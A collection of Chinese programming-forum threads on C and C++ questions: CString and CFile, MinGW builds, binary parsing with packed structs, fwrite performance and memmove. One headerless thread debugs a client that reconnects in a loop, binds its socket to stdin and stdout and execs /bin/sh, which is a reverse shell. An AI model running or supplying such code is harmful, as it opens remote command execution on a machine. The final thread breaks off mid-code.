引用 5 楼 zhao4zhong1 的回复:计算机组成原理→DOS命令→汇编语言→C语言（不包括C++）、代码书写规范→数据结构、编译原理、操作系统→计算机网络、数据库原理、正则表达式→其它语言（包括C++）、架构……  对学习编程者的忠告： 眼过千遍不如手过一遍！ 书看千行不如手敲一行！ 手敲千行不如单步一行！ 单步源代码千行不如单步对应汇编一行！  单步类的实例“构造”或“复制”或“作为函数参数”或“作为函数返回值返回”或“参加各种运算”或“退出作用域”的语句对应的汇编代码几步后，就会来到该类的“构造函数”或“复制构造函数”或“运算符重载”或“析构函数”对应的C/C++源代码处。  VC调试时按Alt+8、Alt+7、Alt+6和Alt+5,打开汇编窗口、堆栈窗口、内存窗口和寄存器窗口看每句C对应的汇编、单步执行并观察相应堆栈、内存和寄存器变化，这样过一遍不就啥都明白了吗。 对VC来说，所谓‘调试时’就是编译连接通过以后，按F10或F11键单步执行一步以后的时候，或者在某行按F9设了断点后按F5执行停在该断点处的时候。 （Turbo C或Borland C用Turbo Debugger调试,Linux或Unix下用GDB调试时,看每句C对应的汇编并单步执行观察相应内存和寄存器变化。）  CString::operator LPCTSTR operator LPCTSTR ( ) const;  Return Value  A character pointer to the string’s data.  Remarks  This useful casting operator provides an efficient method to access the null-terminated C string contained in a CString object. No characters are copied; only a pointer is returned. Be careful with this operator. If you change a CString object after you have obtained the character pointer, you may cause a reallocation of memory that invalidates the pointer.  CString Overview |  Class Members |  Hierarchy Chart 好深奥！看不懂！。。。。

引用 4 楼 ztzi321 的回复:引用 2 楼 lineage191 的回复:楼主纠结这些干嘛，没实际用，cstring穿不进去 就用getbuffer为什么write可以？ read 用getbuffer ，因为你要用cstring接收，但cstring 等价于const char（模糊的说），所以要想对其进行修改，出了他自己的函数外，就是操作调用getbuffer返回的指针， cstring 当然可以传给write 了，因为他存的就是字符串，read不能传的原因是因为read的参数不是const，

引用 3 楼 ztzi321 的回复:[quote=引用 1 楼 user-5 的回复:]  virtual UINT Read(    void* lpBuf,    UINT nCount  ); virtual void Write(    const void* lpBuf,    UINT nCount  ); 这个我明白，我的意思是将控件设置成成员变量后（CString），read控件内容为什么不可以直接读，而write却可以。[/quote] 一，从函数名称推断，Read和Write功能应该是完全相反的。 二，因为是CFile类的两个成员函数，从类名称推断，应该一个是读文件一个是写文件。 三，从参数列表中的有无const推断，参数类型为const void* lpBuf的Write函数应该是“将输入的只读内存写入到文件中”，而参数类型为void* lpBuf的Read函数应该是“将文件中的数据读入到内存中”。 四，CString类型可以隐式转换为LPCTSTR指针类型，匹配const void*类型，由此可知，在写代码时可以将CString类型作为Write函数的参数

引用 1 楼 user-5 的回复: virtual UINT Read(    void* lpBuf,    UINT nCount  );  virtual void Write(    const void* lpBuf,    UINT nCount  ); 这个我明白，我的意思是将控件设置成成员变量后（CString），read控件内容为什么不可以直接读，而write却可以。

楼主纠结这些干嘛，没实际用，cstring穿不进去 就用getbuffer


Question: 我的VC++跟office2010冲突了，要怎么解决，我看网上给出的一些解决方案了，没看明白，求一个能私聊指导的

VC++6.0吧，之前遇到过这个问题，解决方法是装一个插件，能够替代VC自带的打开http://www.cr173.com/soft/35169.html

FileTool.exe 替换打开和添加到项目中 Visual C++ 的新功能 http://support.microsoft.com/kb/241396/zh-cn

引用 2 楼 user-4 的回复:VC++6？本身的问题吧，直接换了...微软要是连自己产品都不支持，这是在作死啊！ 确实作死过 以前安装VC++6.0是总是失败，然后把微软拼音卸载了就OK了...

只见过跟微软拼音冲突导致安装失败 没见过与office冲突！！！ 围观一下


Question: 在Win7 64bit环境下  MinGW + msys 编译 ffmpeg

1、根据网上的MinGW + msys搭建环境， 然后 启动 msys.bat ,输入： ./configure --enable-memalign-hack ，完成后不做make操作。 2、使用eclipse， new -->other-->c/c++中的 c project,下一步，输入 project name：ffmpeg  project type中选择： Makefile project-- Empty Project Toolchains中选择：MinGW GCC 然后finish即可  接着把第1步的ffmpeg目录中的内容复制到项目ffmpeg目录下， 编译工程，看到错误就修正；  3、注意： c:\MinGW\include\SDL 需放置在c:\MinGW\include前面

基本已经编译出来啦，谢谢各位的关注

./configure --enable-memalign-hack  后就出现上面的错误哦， 在 config.err 中 ，我现在用IDE编译一下 ，好像是没有定义  __STRICT_ANSI__这个的原因 。

./configure make

查看README文件

想玩玩...

干嘛要编译，下一个就行了

有哪些老大 弄过，或编译成功的，教教小弟，不胜感激.


Question: 怎么用c语言解析二进制文件

typedef struct _tUcData {     UINT1 Bind_Action;     UINT1 User_Type;     UINT1 UName_len;     UINT1 UName[********UName_len];     UINT2 Mess_Num;     UINT1 Mess_Type;     UINT1 Mess_No; }UcData;   上面打星号的地方我要用前面的UName_len变量，应该怎么处理？？

呵呵，，这是uc报文头的结构，，这是规定好的。。

#pragma pack(push, 1) typedef struct  _xxx{   unsigned char ver:4;   unsigned char resv1:4;   char signature[3];   unsigned char type;   .... }xxx, *pxxx; #pragma pack(pop)  ver是4位，resv1也是4位，两个加起来才是1字节.至于ver在前还是resv1在前，我已经不想再纠结了，自己跑一下试试，错了再换一下

引用 9 楼 sai_johnny 的回复:[quote=引用 7 楼 ForestDB 的回复:] 分清1和'1' 用struct，注意padding 注意大小端，基本就这样了。 不明白他的二进制文件第一个字节为什么是0x01....[/quote] 这里的char表示8byte整数的意思，而不是指character。 注意分清1和'1'，看看ASCII。

引用 3 楼 u012889234 的回复:再问下，为什么会出现大小端的转换？ 好像看错问题了，大小端的转换的是因为编码的格式不同啊，比如下图： 如果是不同的cpu上对于0x1234解释也是不同的，所以必须考虑大小端问题

引用 3 楼 u012889234 的回复:再问下，为什么会出现大小端的转换？ 大小端由CPU决定，Intel的普通PC的CPU都是小端的。如果是arm或者服务器上可能会接触到两种CPU。  大端的符号位在首位，所以方便判断。而且我好像记得TCP/IP的报文规定是大端的，所以大端的机器方便接收。 小端的机器，偏移地址为0的地方提取最低位的字节，因为地址偏移和字节数是一对 一的关系，多重精度的数学函数就相对地容易写了。  总之各有各的好处。

引用 7 楼 ForestDB 的回复:分清1和'1' 用struct，注意padding 注意大小端，基本就这样了。 不明白他的二进制文件第一个字节为什么是0x01....

引用 6 楼 u012889234 的回复:ver 占的是4位， resv1也是占4位。他们一起才是一个字节。。所以不会是31 为啥是占4位呢。。。不是声明了char ver么？ 然后把第一个字节0x01读到了ver中。

//ver:1 //resv1:0 //signature:CUC //type:69 //no:5 //resv2:0 //seq:4 //length:56 //int2,1 //int2,2 //int1,1 //int4,30 //int1,1 //int1,7 //str,beijing //int2,1 //int2,4 //int1,1 //int4,60 //int1,1 //int1,7 //str,tianjin //int4,80 //二进制文件b.bin是: //00000000h: 01 43 55 43 45 00 05 00 00 00 00 04 00 00 00 38 //00000010h: 00 01 00 02 01 00 00 00 1E 01 07 62 65 69 6A 69 //00000020h: 6E 67 00 01 00 04 01 00 00 00 3C 01 07 74 69 61 //00000030h: 6E 6A 69 6E 00 00 00 50 #pragma comment(lib,"ws2_32") #include <stdio.h> #include <stdlib.h> #include <winsock2.h> #pragma pack(push,1) struct _H {     char  ver; //  char  resv1;     char  signature[3];     char  type;     short no;     char  resv2;     int   seq;     int   length; } h; struct _D {     short int2_0;     short int2_1;     char  int1_0;     int   int4_0;     char  int1_1;     char  str_0_len;     char  str_0[257]; } d[2]; int   t,i,n; #pragma pack(pop) FILE *f; int main() {     f=fopen("b.bin","rb");     if (NULL==f) {         printf("Can not open file b.bin!\n");         return 1;     }     fread(&h,sizeof(struct _H),1,f);     i=0;     while (1) {         if (1!=fread(&d[i],sizeof(struct _D)-257,1,f)) break;         fread(d[i].str_0,d[i].str_0_len,1,f);         d[i].str_0[d[i].str_0_len]=0;         i++;         if (i>=2) break;     }     n=i;     fread(&t,sizeof(int),1,f);     fclose(f);     printf("ver:%d\n"        ,h.ver);     printf("resv1:0\n");     printf("signature:%.3s\n",h.signature);     printf("type:%d\n"       ,h.type);     printf("no:%hd\n"        ,ntohs(h.no));     printf("resv2:%d\n"      ,h.resv2);     printf("seq:%d\n"        ,ntohl(h.seq));     printf("length:%d\n"     ,ntohl(h.length));     for (i=0;i<n;i++) {         printf("%d int2_0:%hd\n"  ,i,ntohs(d[i].int2_0));         printf("%d int2_1:%hd\n"  ,i,ntohs(d[i].int2_1));         printf("%d int1_0:%d\n"   ,i,d[i].int1_0);         printf("%d int4_0:%d\n"   ,i,ntohl(d[i].int4_0));         printf("%d int1_1:%d\n"   ,i,d[i].int1_1);         printf("%d str_0_len:%d\n",i,d[i].str_0_len);         printf("%d str_0:%s\n"    ,i,d[i].str_0);     }     printf("t:%d\n"     ,ntohl(t));     return 0; } //ver:1 //resv1:0 //signature:CUC //type:69 //no:5 //resv2:0 //seq:4 //length:56 //0 int2_0:1 //0 int2_1:2 //0 int1_0:1 //0 int4_0:30 //0 int1_1:1 //0 str_0_len:7 //0 str_0:beijing //1 int2_0:1 //1 int2_1:4 //1 int1_0:1 //1 int4_0:60 //1 int1_1:1 //1 str_0_len:7 //1 str_0:tianjin //t:80 //

分清1和'1' 用struct，注意padding 注意大小端，基本就这样了。

很好，，，已解决问题！感谢！！！！！！！

引用 1 楼 zhao4zhong1 的回复: //00000000h: 01 43 55 43 45 00 05 00 00 00 00 04 00 00 00 38  大端机器上可省略ntohs和ntohl 我想不明白，他的二进制文件第一个字节为啥会是01，而不是31。。。。

再问下，为什么会出现大小端的转换？

看你每个数据是多少位，一一对应的读应该就可以了。 比如说你的Ver是占以为，那么01就代表的Ver。

//ver:1 //resv1:0 //signature:CUC //type:69 //no:5 //resv2:0 //seq:4 //length:56 //int2,1 //int2,2 //int1,1 //int4,30 //int1,1 //int1,7 //str,beijing //int2,1 //int2,4 //int1,1 //int4,60 //int1,1 //int1,7 //str,tianjin //int4,80 //二进制文件b.bin是: //00000000h: 01 43 55 43 45 00 05 00 00 00 00 04 00 00 00 38 //00000010h: 00 01 00 02 01 00 00 00 1E 01 07 62 65 69 6A 69 //00000020h: 6E 67 00 01 00 04 01 00 00 00 3C 01 07 74 69 61 //00000030h: 6E 6A 69 6E 00 00 00 50 #pragma comment(lib,"ws2_32") #include <stdio.h> #include <winsock2.h> #pragma pack(push,1) struct _D {     char  ver; //  char  resv1;     char  signature[3];     char  type;     short no;     char  resv2;     int   seq;     int   length;     short int2_0;     short int2_1;     char  int1_0;     int   int4_0;     char  int1_1;     char  int1_2;     char  str_0[7];     short int2_2;     short int2_3;     char  int1_3;     int   int4_1;     char  int1_4;     char  int1_5;     char  str_1[7];     int   int4_2; } d; #pragma pack(pop) FILE *f; int main() {     f=fopen("b.bin","rb");     if (NULL==f) {         printf("Can not open file b.bin!\n");         return 1;     }     fread(&d,sizeof(struct _D),1,f);     fclose(f);     printf("ver:%d\n"        ,d.ver);     printf("resv1:0\n");     printf("signature:%.3s\n",d.signature);     printf("type:%d\n"       ,d.type);     printf("no:%hd\n"        ,ntohs(d.no));     printf("resv2:%d\n"      ,d.resv2);     printf("seq:%d\n"        ,ntohl(d.seq));     printf("length:%d\n"     ,ntohl(d.length));     printf("int2_0:%hd\n"    ,ntohs(d.int2_0));     printf("int2_1:%hd\n"    ,ntohs(d.int2_1));     printf("int1_0:%d\n"     ,d.int1_0);     printf("int4_0:%d\n"     ,ntohl(d.int4_0));     printf("int1_1:%d\n"     ,d.int1_1);     printf("int1_2:%d\n"     ,d.int1_2);     printf("str_0:%.7s\n"    ,d.str_0);     printf("int2_2:%hd\n"    ,ntohs(d.int2_2));     printf("int2_3:%hd\n"    ,ntohs(d.int2_3));     printf("int1_3:%d\n"     ,d.int1_3);     printf("int4_1:%d\n"     ,ntohl(d.int4_1));     printf("int1_4:%d\n"     ,d.int1_4);     printf("int1_5:%d\n"     ,d.int1_5);     printf("str_1:%.7s\n"    ,d.str_1);     printf("int4_2:%d\n"     ,ntohl(d.int4_2));     return 0; } //ver:1 //resv1:0 //signature:CUC //type:69 //no:5 //resv2:0 //seq:4 //length:56 //int2_0:1 //int2_1:2 //int1_0:1 //int4_0:30 //int1_1:1 //int1_2:7 //str_0:beijing //int2_2:1 //int2_3:4 //int1_3:1 //int4_1:60 //int1_4:1 //int1_5:7 //str_1:tianjin //int4_2:80 //  大端机器上可省略ntohs和ntohl


Question: 怎样去掉else没有返回值提示警告？？？

int judge(Lqueue *l,char chch)  //判断方向，1,2,3,4分别为上下左右 这个函数要回返回值。LZ的代码要是都不满足执行else,就是缺少返回值吧。在else后面加一条return 0;试试。 if(chch==105) return 1; if(chch== 107) return 2; if(chch== 106) return 3; if(chch== 108) return 4; 这些if 应该都改为else if要不然else只对应最后一个if

引用 12 楼 ForestDB 的回复:如果chch只可能有那四个值，那么else就是多余的，既可以省略，也可以随便返回值，因为else一定走不到； 但是如果chch不只那四个值，且只有那四个值是有意义的，那么else就必需返回一个“与众不同”（错误值）的值，表示chch不是四种情况中的一种，程序有错（chch输入有问题）。++++

引用 4 楼 jiakao123 的回复:[quote=引用 3 楼 worldy 的回复:] 返回一个非控制值，比如-1什么的返回-1，会影响 while(judge(l,chch))     {       snakemove(l,judge(l,chch));     }中，judge(1,chch)的值，怎么办？[/quote] 不使用while(judge(l,chch))这种写法

你先弄清楚你要实现的效果到底是什么 首先，else的情况可能出现吗？如果不会出现，那就不需要这个else，如果会出现，那你当然要给出明确的返回值，没有“不需要返回什么”一说，否则你若int i=judge(XXX,XXX)这么写，那当judge里面出现了else情况的时候，你这个i应该是多少？

如果else不做任何事，那么你说的这段该怎么处理：while(judge(l,chch)){     snakemove(l,judge(l,chch)); }你先想清楚正常的结果是什么，如果的确是else了，程序应该会怎么运行，想清楚了就可以处理了。而不是盲目把错误隐藏掉。

还是不行啊。。。

.... else {  while(judge(l,chch))    {       snakemove(l,judge(l,chch));     } } return -1;//能会有什么问题？ ｝

引用 3 楼 worldy 的回复:返回一个非控制值，比如-1什么的返回-1，会影响 while(judge(l,chch))     {       snakemove(l,judge(l,chch));     }中，judge(1,chch)的值，怎么办？

返回一个非控制值，比如-1什么的

引用 1 楼 akirya 的回复:你不写的话,就可能得到一个垃圾值,错的可能性更大.我知道规范的形式应该写一下，但是不知道怎么写不会影响主函数？

你不写的话,就可能得到一个垃圾值,错的可能性更大.

不要使用 while (条件) 更不要使用 while (组合条件) 要使用 while (1) {  if (条件1) break;  //...  if (条件2) continue;  //...  if (条件3) return;  //... } 因为前两种写法在语言表达意思的层面上有二义性，只有第三种才忠实反映了程序流的实际情况。 典型如： 下面两段的语义都是当文件未结束时读字符 whlie (!feof(f)) {  a=fgetc(f);  //...  b=fgetc(f);//可能此时已经feof了！  //... } 而这样写就没有问题： whlie (1) {  a=fgetc(f);  if (feof(f)) break;  //...  b=fgetc(f);  if (feof(f)) break;  //... } 类似的例子还可以举很多。

引用 9 楼 czarten 的回复: int i=judge(l,chch);  while(i) {       if(i==-1)            continue;       snakemove(l,i);       i=judge(l,chch); }   我没细看你代码，这样不行么？  哦，这个不对，continue前要先更新i


Question: C新手，大神帮忙看下我的程序错在哪儿？

在变量kuatuo为赋值时就进行计算。  float kuatuo; double mass; long double fenzi; printf("Input your kuatuo:"); scanf("%f",&kuatuo); mass=kuatuo*950.0f; fenzi=mass/3.0e-23; printf("There are %10.4Le fenzi\n",fenzi); return 0;

scanf("%f",&kuatuo);//这一句丢在上面去，先给了值，再计算！

引用 1 楼 xiaoliang1201 的回复:float kuatuo;变量kuatuo没有赋初值。把scanf("%f",&kuatuo);语句放到double mass=kuatuo*950.0f; long double fenzi=mass/3.0e-23;前面去也行。

float kuatuo;变量kuatuo没有赋初值。

谢谢大家  可以了，这个不能变声明变量边计算而且先要赋值再计算。新手 以后还请多照顾  一起交流。

引用 2 楼 xiaoliang1201 的回复:[quote=引用 1 楼 xiaoliang1201 的回复:] float kuatuo;变量kuatuo没有赋初值。把scanf("%f",&kuatuo);语句放到double mass=kuatuo*950.0f; long double fenzi=mass/3.0e-23;前面去也行。[/quote]re

。。。。都没有赋值就计算了


Question: gcc 4.7.2如何使用gets_s

http://en.cppreference.com/w/c/io/gets  The gets_s function is an extension and is optional. It is guaranteed to be present only if __STDC_LIB_EXT1__ is defined.  可以打开stdio.h，在里面找gets_s的声明，有就表示是支持的，否则就不支持。 另外它是可选的，即使支持也得将__STDC_LIB_EXT1__宏打开。

且不说链接的事吧，光是使用gets不给warning已经不对了啊。我明明试过出现warning的，除非我记错了。但是我就用过VS和GCC而已，VS都几乎不开的。

引用 16 楼 Exaybachay 的回复:mingw 默认链接 msvcrt.dll,   *_s 的不属于 msvcrt.dll  那该链接哪个？

好像也不行

自己声明一下就行了 char *gets_s(char *s, int n); 然后：  gcc -std=c1x -c 。。。。。。。。。

今晚再试试吧。

试试更高版的gcc吧

还真的

引用 7 楼 Exaybachay 的回复:mingw 用的c库是哪个, 你知道不.  要是我知道就不会上来问了。

引用 3 楼 ForestDB 的回复:"可是C11明确了使用gets_s代替gets啊" 求出处。 同时求gcc 4.7.2完整支持C11的出处。  貌似GCC官方都不给出4.7.2的手册- -  我这个是MinGW，不知道有什么不同，MinGW声称是 Minimalist GNU for Windows.

我曾经试过出现gets是不被建议使用的函数的提示的（当然是英文提示），但是版本不记得了。 可能是MinGW 开启 -std=99吧,我记得好像是测试 restrict 关键字时出现的。

mingw 用的c库是哪个, 你知道不.

引用 2 楼 buyong 的回复:可是C11明确了使用gets_s代替gets啊.  这个说法谁告诉你的？ http://zh.wikipedia.org/zh-cn/C%2B%2B11  不是C++11，是C11 百度百科 第5点： http://baike.baidu.com/link?url=ZQTAB8aQgU_oC2wbNpXcg8oZ8FO-9l58zwQtWdqALKZE2tsdfnf1G3vVkQBSzHaZ91rUvgcpRmA9B1V0iKY6XK 维基百科 3.5 C11： http://zh.wikipedia.org/wiki/C%E8%AF%AD%E8%A8%80

引用 1 楼 akirya 的回复:非标准函数，gcc不能用很正常。  百度百科 第5点： http://baike.baidu.com/link?url=ZQTAB8aQgU_oC2wbNpXcg8oZ8FO-9l58zwQtWdqALKZE2tsdfnf1G3vVkQBSzHaZ91rUvgcpRmA9B1V0iKY6XK 维基百科 3.5 C11： http://zh.wikipedia.org/wiki/C%E8%AF%AD%E8%A8%80

不好意思，最近忙，没来上网。我逐一回复。

非标准函数，gcc不能用很正常。


Question: 如何用C语言调用API控制播放音频文件的声音大小

google mci接口

mixerSetControlDetails The mixerSetControlDetails function sets properties of a single control associated with an audio line.  MMRESULT mixerSetControlDetails(   HMIXEROBJ hmxobj,                LPMIXERCONTROLDETAILS pmxcd,     DWORD fdwDetails               );   Parameters hmxobj  Handle of the mixer device object for which properties are being set.  pmxcd  Address of a MIXERCONTROLDETAILS structure. This structure is used to reference control detail structures that contain the desired state for the control.  fdwDetails  Flags for setting properties for a control. The following values are defined:  MIXER_OBJECTF_AUX  The hmxobj parameter is an auxiliary device identifier in the range of zero to one less than the number of devices returned by the auxGetNumDevs function.  MIXER_OBJECTF_HMIDIIN  The hmxobj parameter is the handle of a MIDI input device. This handle must have been returned by the midiInOpen function.  MIXER_OBJECTF_HMIDIOUT  The hmxobj parameter is the handle of a MIDI output device. This handle must have been returned by the midiOutOpen function.  MIXER_OBJECTF_HMIXER  The hmxobj parameter is a mixer device handle returned by the mixerOpen function. This flag is optional.  MIXER_OBJECTF_HWAVEIN  The hmxobj parameter is a waveform-audio input handle returned by the waveInOpen function.  MIXER_OBJECTF_HWAVEOUT  The hmxobj parameter is a waveform-audio output handle returned by the waveOutOpen function.  MIXER_OBJECTF_MIDIIN  The hmxobj parameter is the identifier of a MIDI input device. This identifier must be in the range of zero to one less than the number of devices returned by the midiInGetNumDevs function.  MIXER_OBJECTF_MIDIOUT  The hmxobj parameter is the identifier of a MIDI output device. This identifier must be in the range of zero to one less than the number of devices returned by the midiOutGetNumDevs function.  MIXER_OBJECTF_MIXER  The hmxobj parameter is a mixer device identifier in the range of zero to one less than the number of devices returned by the mixerGetNumDevs function. This flag is optional.  MIXER_OBJECTF_WAVEIN  The hmxobj parameter is the identifier of a waveform-audio input device in the range of zero to one less than the number of devices returned by the waveInGetNumDevs function.  MIXER_OBJECTF_WAVEOUT  The hmxobj parameter is the identifier of a waveform-audio output device in the range of zero to one less than the number of devices returned by the waveOutGetNumDevs function.  MIXER_SETCONTROLDETAILSF_CUSTOM  A custom dialog box for the specified custom mixer control is displayed. The mixer device gathers the required information from the user and returns the data in the specified buffer. The handle for the owning window is specified in the hwndOwner member of the MIXERCONTROLDETAILS structure. (This handle can be set to NULL.) The application can then save the data from the dialog box and use it later to reset the control to the same state by using the MIXER_SETCONTROLDETAILSF_VALUE flag.  MIXER_SETCONTROLDETAILSF_VALUE  The current value(s) for a control are set. The paDetails member of the MIXERCONTROLDETAILS structure points to one or more mixer-control details structures of the appropriate class for the control.  Return Values Returns MMSYSERR_NOERROR if successful or an error otherwise. Possible error values include the following:   Value Description  MIXERR_INVALCONTROL The control reference is invalid.  MMSYSERR_BADDEVICEID The hmxobj parameter specifies an invalid device identifier.  MMSYSERR_INVALFLAG One or more flags are invalid.  MMSYSERR_INVALHANDLE The hmxobj parameter specifies an invalid handle.  MMSYSERR_INVALPARAM One or more parameters are invalid.  MMSYSERR_NODRIVER No mixer device is available for the object specified by hmxobj.    Remarks All members of the MIXERCONTROLDETAILS structure must be initialized before calling mixerSetControlDetails.   If an application needs to retrieve only the current state of a custom mixer control and not display a dialog box, then mixerGetControlDetails can be used with the MIXER_GETCONTROLDETAILSF_VALUE flag.  QuickInfo   Windows NT: Requires version 3.1 or later.   Windows: Requires Windows 95 or later.   Windows CE: Unsupported.   Header: Declared in mmsystem.h.   Import Library: Use winmm.lib.  See Also Audio Mixers Overview, Audio Mixer Functions, MIXERCONTROLDETAILS, auxGetNumDevs, midiInOpen, midiOutOpen, mixerOpen, waveInOpen, waveOutOpen, midiInGetNumDevs, midiOutGetNumDevs, mixerGetNumDevs, waveInGetNumDevs, waveOutGetNumDevs, mixerGetControlDetails


Question: fwrite效率太低（一次写50M需要6秒），有啥好方法么？

setvbuf Controls stream buffering and buffer size.  int setvbuf( FILE *stream, char *buffer, int mode, size_t size );  Routine Required Header Compatibility  setvbuf <stdio.h> ANSI, Win 95, Win NT    For additional compatibility information, see Compatibility in the Introduction.  Libraries  LIBC.LIB Single thread static library, retail version  LIBCMT.LIB Multithread static library, retail version  MSVCRT.LIB Import library for MSVCRT.DLL, retail version    Return Value  setvbuf returns 0 if successful, or a nonzero value if an illegal type or buffer size is specified.  Parameters  stream  Pointer to FILE structure  buffer  User-allocated buffer  mode  Mode of buffering  size  Buffer size in bytes. Allowable range: 2 < size < 32768. Internally, the value supplied for size is rounded down to the nearest multiple of 2.  Remarks  The setvbuf function allows the program to control both buffering and buffer size for stream. stream must refer to an open file that has not undergone an I/O operation since it was opened. The array pointed to by buffer is used as the buffer, unless it is NULL, in which case setvbuf uses an automatically allocated buffer of length size/2 * 2 bytes.  The mode must be _IOFBF, _IOLBF, or _IONBF. If mode is _IOFBF or _IOLBF, then size is used as the size of the buffer. If mode is _IONBF, the stream is unbuffered and size and buffer are ignored. Values for mode and their meanings are:  _IOFBF  Full buffering; that is, buffer is used as the buffer and size is used as the size of the buffer. If buffer is NULL, an automatically allocated buffer size bytes long is used.  _IOLBF  With MS-DOS, the same as _IOFBF.  _IONBF  No buffer is used, regardless of buffer or size.  Example  /* SETVBUF.C: This program opens two streams: stream1  * and stream2. It then uses setvbuf to give stream1 a  * user-defined buffer of 1024 bytes and stream2 no buffer.  */  #include <stdio.h>  void main( void ) {    char buf[1024];    FILE *stream1, *stream2;     if( ((stream1 = fopen( "data1", "a" )) != NULL) &&        ((stream2 = fopen( "data2", "w" )) != NULL) )    {       if( setvbuf( stream1, buf, _IOFBF, sizeof( buf ) ) != 0 )          printf( "Incorrect type or size of buffer for stream1\n" );       else          printf( "'stream1' now has a buffer of 1024 bytes\n" );       if( setvbuf( stream2, NULL, _IONBF, 0 ) != 0 )          printf( "Incorrect type or size of buffer for stream2\n" );       else          printf( "'stream2' now has no buffer\n" );       _fcloseall();    } }   Output  'stream1' now has a buffer of 1024 bytes 'stream2' now has no buffer   Stream I/O Routines  See Also   fclose, fflush, fopen, setbuf

直接write就可以了。

fwrite是很底层的调用，速度应该很快，lz写那么大的数据，应该设置应该比较大的文件缓存区(setvbuf )

不能用1，50K啊，亲，一次写一个1字节，你试试一次10K，速度会快很多的

关闭杀软实时防护！

调整一下缓冲区的大小试试！

实在不行用优化的指令啊，GNU编译器不是有个什么优化级别的命令来着，就是优化后的代码面目全非

这个应该选择一个合适的缓冲区大小吧

那调WriteFile吧，另外调调buffer size。

引用 18 楼 wangch 的回复:请问如何调？用哪个函数？谢谢  [quote=引用 10 楼 mujiok2003 的回复:] 估计流的缓冲区太小了。  假设缓冲区大小为4K, 50M的需要50*1024K/4K = 12500次文件写入。  试试调大缓冲区。[/quote]  http://www.cplusplus.com/reference/cstdio/setvbuf/

目测不到2秒 引用 14 楼 ForestDB 的回复:LZ的机器copy一个50M的文件需要多久？

聽過SSD嗎,有錢就是快

请问如何调？用哪个函数？谢谢  引用 10 楼 mujiok2003 的回复:估计流的缓冲区太小了。  假设缓冲区大小为4K, 50M的需要50*1024K/4K = 12500次文件写入。  试试调大缓冲区。

没有这么水吧？你确定不是代码bug？

用的是服务器，硬盘不知道怎么查。 OS 名称:          Microsoft(R) Windows(R) Server 2003, Enterprise Edition 系统类型:         X86-based PC 处理器:           安装了 4 个处理器。                   [01]: x86 Family 6 Model 15 Stepping 11 GenuineIntel ~2128 Mhz                   [02]: x86 Family 6 Model 15 Stepping 11 GenuineIntel ~2128 Mhz                   [03]: x86 Family 6 Model 15 Stepping 11 GenuineIntel ~2128 Mhz                   [04]: x86 Family 6 Model 15 Stepping 11 GenuineIntel ~2128 Mhz  哪位能帮我试一下在自己的电脑上需要多久？谢谢

换一个电脑吧

LZ的机器copy一个50M的文件需要多久？

换一块好点的硬盘

引用 1 楼 adlay 的回复:换一块好点的硬盘 引用 2 楼 ggglivw 的回复:换一个电脑吧+1

换机器吧....  $ cat 1.c ; gcc -O2 1.c ; time ./a  ; ll test #include <stdio.h> #include <stdlib.h>  #define BUFFSIZE     51699500  int main() {         FILE *fp   = fopen("test", "wb");         char* buff = (char*)malloc(BUFFSIZE);         int i;          for(i = 0; i < BUFFSIZE; ++i)                 buff[i] = (char)i;          for(i = 0; i < 40; ++i)                 fwrite(buff, 1, BUFFSIZE, fp);          fclose(fp); return 0; }  real    0m1.620s user    0m0.046s sys     0m1.388s -rw-r--r--+ 1 xxxxx None 2.0G Nov 26 17:16 test


Question: 关于memmove实现问题

引用 楼主 Zhc1993 的回复:最近看了下网上讲解memmove, 代码如下  void * __cdecl memmove （ void * dst,const void * src,size_t count)  {           void * ret = dst;           if (dst <= src || (char *)dst >= ((char *)src + count))           {                     // 若dst和src区域没有重叠，则从起始处开始逐一拷贝                     while (count--)                     {                              *(char *)dst = *(char *)src;                              dst = (char *)dst + 1;                              src = (char *)src + 1;                     }           }           else           { // 若dst和src 区域交叉，则从尾部开始向起始位置拷贝，这样可以避免数据冲突                     dst = (char *)dst + count - 1;                     src = (char *)src + count - 1;                     while (count--)                     {                              *(char *)dst = *(char *)src;                              dst = (char *)dst - 1;                              src = (char *)src - 1;                     }           }           return(ret);  }  为什么最后处理重叠情况的代码，只有一个反向处理，我怎么感觉有两种情况： src尾部地址 > dest尾部地址， 直接正向处理 src尾部地址 < dest尾部地址， 就用反向处理。 就是先处理掉重叠部分。 不知道是不是我搞错了。望赐教。 第一注释错了吧。if (dst <= src || (char *)dst >= ((char *)src + count))处理两种情况，其中就包含一种交叉的情况。

对啊，注释是错了，懂了，谢谢啊！！！

自己模拟下交叉的集中情形，再来看代码。

代码功能归根结底不是别人帮自己看或讲解或注释出来的；而是被自己静下心来花足够长的时间和精力亲自动手单步或设断点或对执行到某步获得的中间结果显示或写到日志文件中一步一步分析出来的。 提醒：再牛×的老师也无法代替学生自己领悟和上厕所！ 单步调试和设断点调试是程序员必须掌握的技能之一。


用fork子进程解决了

如果不是有错误发生， exec 是一个不会返回的函数，就像 exit 这样的函数一样.

execl的man手册：The  exec()  family  of functions replaces the current process image with a new process image.整个进程空间都已经被替换成新的进程了，好像是这么回事

调用execl之后，后面的close和printf都不可能执行了。  相当于新启动的sh的标准输入和标准输出都是这个sock.  这是我个人的理解。

在程序开始的时候 int sid=dup(STDIN_FILENO); int sod=dup(STDOUT_FILENO);

引用 1 楼 user-3 的回复:fprintf(stderr,"client ended\n"); 试试？ 好像是没有恢复输出定向，小小改了一下还是没有输出 if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) { close(sock); sleep(5); goto loop; } send(sock, message, sizeof(message), 0); dup2(sock, STDIN_FILENO);//输入 dup2(sock, STDOUT_FILENO);//输出 execl(shell,"/bin/sh",(char *)0); dup2(sid,STDIN_FILENO); dup2(sod,STDOUT_FILENO); close(sock); fprintf(stderr,"client ended\n"); }

fprintf(stderr,"client ended\n"); 试试？


Question: 帮我看看错在哪里，谢谢！！！

那把错误贴出来吧！埃 提问的学问纳

#include<stdio.h> #include<stdlib.h> #define MAX 50 typedef struct  {     char data[MAX];     int top; }SeqStack;  SeqStack *Init_SeqStack() {     SeqStack *s;     s=malloc(sizeof(SeqStack));     s->top=-1;     return s; }  int IsEmpty(SeqStack *s) {     if(s->top==-1)          return 1;     else          return 0; }  char Push_SeqStack(SeqStack *s,char x) {     if(s->top==MAX-1)     {          printf("栈满!\n");          return 0;     }     else    {          s->top++;          s->data[s->top]=x;          return 1;     } }  char Pop_SeqStack(SeqStack *s,char x) {     if(IsEmpty(s))     {         printf("栈空!\n");         return 0;     }     else     {         x=s->data[s->top];         s->top--;         return 1;     } }  typedef struct node { 	char data; 	struct node *Lchild; 	struct node *Rchild; }BiTree; BiTree *Init_BiTree() { 	BiTree *root; 	root=(BiTree 